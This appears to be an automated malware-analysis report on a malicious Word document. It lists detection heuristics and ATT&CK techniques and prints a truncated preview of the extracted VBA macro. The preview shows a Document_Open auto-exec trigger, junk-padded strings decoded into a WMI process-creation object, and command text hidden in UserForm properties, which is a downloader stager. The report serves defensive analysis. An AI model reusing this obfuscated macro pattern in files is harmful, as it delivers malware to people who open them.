MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of a downloader. The 'CreateObject' call and obfuscated code suggest an attempt to execute arbitrary code. The ClamAV detection 'Doc.Downloader.Generic-9369626-0' further supports this assessment, indicating the file's purpose is to download additional malicious content.
Heuristics 7
-
ClamAV: Doc.Downloader.Generic-9369626-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-9369626-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10175 bytes |
SHA-256: a3c90802db126839848df905417d92df6588bc70a4b114047bf2f154b8aa6b85 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Vunne500ze40sj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
R889j4f5bzers7i.D23pzqutyj9y5t
End Sub
Attribute VB_Name = "R889j4f5bzers7i"
Attribute VB_Base = "0{808ADC87-000C-4410-80E8-F829162BE661}{BC8C7015-32A4-4181-A29E-81FBFAA5F60C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function D23pzqutyj9y5t()
If 791639 <> 777579 Then
Rrnyh1bz16uk = 791639 + 1989
Uhwwep8v5im9itrz = 777579 - 2013
Else
InputBox (CStr(Rrnyh1bz16uk) & CStr(Uhwwep8v5im9itrz))
End If
Uhwwep8v5im9itrz = "KAjamLNcTV"
Qh_g6m7bj4y4bwi = 623691
Yb7hwlqz4caawf8rc = Yb7hwlqz4caawf8rc & CStr(Qh_g6m7bj4y4bwi)
I1odmjl6nucjl4mhn = Yb7hwlqz4caawf8rc
K77vi7o6cn7xu29d = R889j4f5bzers7i.HelpContextId + 100
If 791639 <> 777579 Then
Rrnyh1bz16uk = 791639 + 1989
Uhwwep8v5im9itrz = 777579 - 2013
Else
InputBox (CStr(Rrnyh1bz16uk) & CStr(Uhwwep8v5im9itrz))
End If
Uhwwep8v5im9itrz = "KAjamLNcTV"
Qh_g6m7bj4y4bwi = 623691
Yb7hwlqz4caawf8rc = Yb7hwlqz4caawf8rc & CStr(Qh_g6m7bj4y4bwi)
I1odmjl6nucjl4mhn = Yb7hwlqz4caawf8rc
Kjjf63t5baf1m = ChrW(K77vi7o6cn7xu29d + (100 + 35) / 9)
If 791639 <> 777579 Then
Rrnyh1bz16uk = 791639 + 1989
Uhwwep8v5im9itrz = 777579 - 2013
Else
InputBox (CStr(Rrnyh1bz16uk) & CStr(Uhwwep8v5im9itrz))
End If
Uhwwep8v5im9itrz = "KAjamLNcTV"
Qh_g6m7bj4y4bwi = 623691
Yb7hwlqz4caawf8rc = Yb7hwlqz4caawf8rc & CStr(Qh_g6m7bj4y4bwi)
I1odmjl6nucjl4mhn = Yb7hwlqz4caawf8rc
Kkgvh7xm2bnov_lttw = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Kjjf63t5baf1m + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + R889j4f5bzers7i.Mljcit2k_p0a + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
If 791639 <> 777579 Then
Rrnyh1bz16uk = 791639 + 1989
Uhwwep8v5im9itrz = 777579 - 2013
Else
InputBox (CStr(Rrnyh1bz16uk) & CStr(Uhwwep8v5im9itrz))
End If
Uhwwep8v5im9itrz = "KAjamLNcTV"
Qh_g6m7bj4y4bwi = 623691
Yb7hwlqz4caawf8rc = Yb7hwlqz4caawf8rc & CStr(Qh_g6m7bj4y4bwi)
I1odmjl6nucjl4mhn = Yb7hwlqz4caawf8rc
Kbk2rw1ixrrvegiirp = Ujvipc1m175xd(Kkgvh7xm2bnov_lttw)
If 791639 <> 777579 Then
Rrnyh1bz16uk = 791639 + 1989
Uhwwep8v5im9itrz = 777579 - 2013
Else
InputBox (CStr(Rrnyh1bz16uk) & CStr(Uhwwep8v5im9itrz))
End If
Uhwwep8v5im9itrz = "KAjamLNcTV"
Qh_g6m7bj4y4bwi = 623691
Yb7hwlqz4caawf8rc = Yb7hwlqz4caawf8rc & CStr(Qh_g6m7bj4y4bwi)
I1odmjl6nucjl4mhn = Yb7hwlqz4caawf8rc
Set Ivot5_zft3_acv = CreateObject(Kbk2rw1ixrrvegiirp)
If 791639 <> 777579 Then
Rrnyh1bz16uk = 791639 + 1989
Uhwwep8v5im9itrz = 777579 - 2013
Else
InputBox (CStr(Rrnyh1bz16uk) & CStr(Uhwwep8v5im9itrz))
End If
Uhwwep8v5im9itrz = "KAjamLNcTV"
Qh_g6m7bj4y4bwi = 623691
Yb7hwlqz4caawf8rc = Yb7hwlqz4caawf8rc & CStr(Qh_g6m7bj4y4bwi)
I1odmjl6nucjl4mhn = Yb7hwlqz4caawf8rc
Y4p6qovvqq_yp_ = R889j4f5bzers7i.Bzah1dislqe0.ControlTipText
If 791639 <> 777579 Then
Rrnyh1bz16uk = 791639 + 1989
Uhwwep8v5im9itrz = 777579 - 2013
Else
InputBox (CStr(Rrnyh1bz16uk) & CStr(Uhwwep8v5im9itrz))
End If
Uhwwep8v5im9itrz = "KAjamLNcTV"
Qh_g6m7bj4y4bw
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.